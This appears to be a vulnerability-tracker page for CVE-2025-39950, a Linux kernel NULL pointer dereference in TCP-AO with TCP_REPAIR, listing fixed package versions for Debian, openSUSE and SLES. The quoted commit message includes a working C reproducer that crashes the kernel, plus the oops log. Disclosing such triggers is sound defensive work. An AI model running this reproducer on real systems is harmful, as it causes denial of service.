# CVE-2025-39950: linux: In the Linux kernel, the following vulnerability has been resolved: net/tcp: Fix a NULL pointer dereference when usi... CVE-2025-39950 is fixed in 13 products on 1 platform, first by DEBIAN-CVE-2025-39950, released October 4, 2025. It is not reported as exploited. Patch Radar priority: Routine. - Web page: https://patchblox.com/security/cve/CVE-2025-39950 - Priority: Routine - CVSS: 5.5 (medium) - EPSS: 0.0015 - CISA KEV: not listed - Exploited (vendor report): no - Publicly disclosed: no - Published: Oct 4, 2025 ## Description In the Linux kernel, the following vulnerability has been resolved: net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR A NULL pointer dereference can occur in tcp_ao_finish_connect() during a connect() system call on a socket with a TCP-AO key added and TCP_REPAIR enabled. The function is called with skb being NULL and attempts to dereference it on tcp_hdr(skb)->seq without a prior skb validation. Fix this by checking if skb is NULL before dereferencing it. The commentary is taken from bpf_skops_established(), which is also called in the same flow. Unlike the function being patched, bpf_skops_established() validates the skb before dereferencing it. int main(void){ struct sockaddr_in sockaddr; struct tcp_ao_add tcp_ao; int sk; int one = 1; memset(&sockaddr,'\0',sizeof(sockaddr)); memset(&tcp_ao,'\0',sizeof(tcp_ao)); sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr.sin_family = AF_INET; memcpy(tcp_ao.alg_name,"cmac(aes128)",12); memcpy(tcp_ao.key,"ABCDEFGHABCDEFGH",16); tcp_ao.keylen = 16; memcpy(&tcp_ao.addr,&sockaddr,sizeof(sockaddr)); setsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &tcp_ao, sizeof(tcp_ao)); setsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &one, sizeof(one)); sockaddr.sin_family = AF_INET; sockaddr.sin_port = htobe16(123); inet_aton("127.0.0.1", &sockaddr.sin_addr); connect(sk,(struct sockaddr *)&sockaddr,sizeof(sockaddr)); return 0; } $ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall $ unshare -Urn BUG: kernel NULL pointer dereference, address: 00000000000000b6 PGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0 Oops: Oops: 0000 [#1] SMP NOPTI Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020 RIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182) ## Where it's fixed | Platform | Product | Fixed in | Fix | Released | |---|---|---|---|---| | Linux | dtb-aarch64 opensuse-leap 16.0 | 6.12.0-160000.7.1 | [OPENSUSE-SU-2025:20091-1](https://patchblox.com/security/data/fix/linux/opensuse-su-2025-20091-1.md) | Nov 26, 2025 | | Linux | kernel-64kb opensuse-leap 16.0 | 6.12.0-160000.7.1 | [OPENSUSE-SU-2025:20091-1](https://patchblox.com/security/data/fix/linux/opensuse-su-2025-20091-1.md) | Nov 26, 2025 | | Linux | kernel-64kb sles 16.0 | 6.12.0-160000.7.1 | [SUSE-SU-2025:21147-1](https://patchblox.com/security/data/fix/linux/suse-su-2025-21147-1.md) | Nov 26, 2025 | | Linux | kernel-default opensuse-leap 16.0 | 6.12.0-160000.7.1 | [OPENSUSE-SU-2025:20091-1](https://patchblox.com/security/data/fix/linux/opensuse-su-2025-20091-1.md) | Nov 26, 2025 | | Linux | kernel-default sles 16.0 | 6.12.0-160000.7.1 | [SUSE-SU-2025:21147-1](https://patchblox.com/security/data/fix/linux/suse-su-2025-21147-1.md) | Nov 26, 2025 | | Linux | kernel-default-base opensuse-leap 16.0 | 6.12.0-160000.6.1.160000.2.4 | [OPENSUSE-SU-2025:20091-1](https://patchblox.com/security/data/fix/linux/opensuse-su-2025-20091-1.md) | Nov 26, 2025 | | Linux | kernel-default-base sles 16.0 | 6.12.0-160000.6.1.160000.2.4 | [SUSE-SU-2025:21147-1](https://patchblox.com/security/data/fix/linux/suse-su-2025-21147-1.md) | Nov 26, 2025 | | Linux | kernel-docs opensuse-leap 16.0 | 6.12.0-160000.7.1 | [OPENSUSE-SU-2025:20091-1](https://patchblox.com/security/data/fix/linux/opensuse-su-2025-20091-1.md) | Nov 26, 2025 | | Linux | kernel-docs sles 16.0 | 6.12.0-160000.7.1 | [SUSE-SU-2025:21147-1](https://patchblox.com/security/data/fix/linux/suse-su-2025-21147-1.md) | Nov 26, 2025 | | Linux | kernel-kvmsmall opensuse-leap 16.0 | 6.12.0-160000.7.1 | [OPENSUSE-SU-2025:20091-1](https://patchblox.com/security/data/fix/linux/opensuse-su-2025-20091-1.md) | Nov 26, 2025 | | Linux | kernel-kvmsmall sles 16.0 | 6.12.0-160000.7.1 | [SUSE-SU-2025:21147-1](https://patchblox.com/security/data/fix/linux/suse-su-2025-21147-1.md) | Nov 26, 2025 | | Linux | kernel-obs-build opensuse-leap 16.0 | 6.12.0-160000.7.1 | [OPENSUSE-SU-2025:20091-1](https://patchblox.com/security/data/fix/linux/opensuse-su-2025-20091-1.md) | Nov 26, 2025 | | Linux | kernel-obs-qa opensuse-leap 16.0 | 6.12.0-160000.7.1 | [OPENSUSE-SU-2025:20091-1](https://patchblox.com/security/data/fix/linux/opensuse-su-2025-20091-1.md) | Nov 26, 2025 | | Linux | kernel-obs-qa sles 16.0 | 6.12.0-160000.7.1 | [SUSE-SU-2025:21147-1](https://patchblox.com/security/data/fix/linux/suse-su-2025-21147-1.md) | Nov 26, 2025 | | Linux | kernel-rt opensuse-leap 16.0 | 6.12.0-160000.7.1 | [OPENSUSE-SU-2025:20091-1](https://patchblox.com/security/data/fix/linux/opensuse-su-2025-20091-1.md) | Nov 26, 2025 | | Linux | kernel-source opensuse-leap 16.0 | 6.12.0-160000.7.1 | [OPENSUSE-SU-2025:20091-1](https://patchblox.com/security/data/fix/linux/opensuse-su-2025-20091-1.md) | Nov 26, 2025 | | Linux | kernel-source sles 16.0 | 6.12.0-160000.7.1 | [SUSE-SU-2025:21147-1](https://patchblox.com/security/data/fix/linux/suse-su-2025-21147-1.md) | Nov 26, 2025 | | Linux | kernel-syms opensuse-leap 16.0 | 6.12.0-160000.7.1 | [OPENSUSE-SU-2025:20091-1](https://patchblox.com/security/data/fix/linux/opensuse-su-2025-20091-1.md) | Nov 26, 2025 | | Linux | kernel-syms sles 16.0 | 6.12.0-160000.7.1 | [SUSE-SU-2025:21147-1](https://patchblox.com/security/data/fix/linux/suse-su-2025-21147-1.md) | Nov 26, 2025 | | Linux | kernel-zfcpdump opensuse-leap 16.0 | 6.12.0-160000.7.1 | [OPENSUSE-SU-2025:20091-1](https://patchblox.com/security/data/fix/linux/opensuse-su-2025-20091-1.md) | Nov 26, 2025 | | Linux | kernel-zfcpdump sles 16.0 | 6.12.0-160000.7.1 | [SUSE-SU-2025:21147-1](https://patchblox.com/security/data/fix/linux/suse-su-2025-21147-1.md) | Nov 26, 2025 | | Linux | linux Debian 13.5 (trixie) | 6.12.57-1 | [DEBIAN-CVE-2025-39950](https://patchblox.com/security/data/fix/linux/debian-cve-2025-39950.md) | Oct 4, 2025 | | Linux | linux Debian 14 | 6.16.9-1 | [DEBIAN-CVE-2025-39950](https://patchblox.com/security/data/fix/linux/debian-cve-2025-39950.md) | Oct 4, 2025 | --- Data as of 2026-11-09T07:25:28Z UTC. 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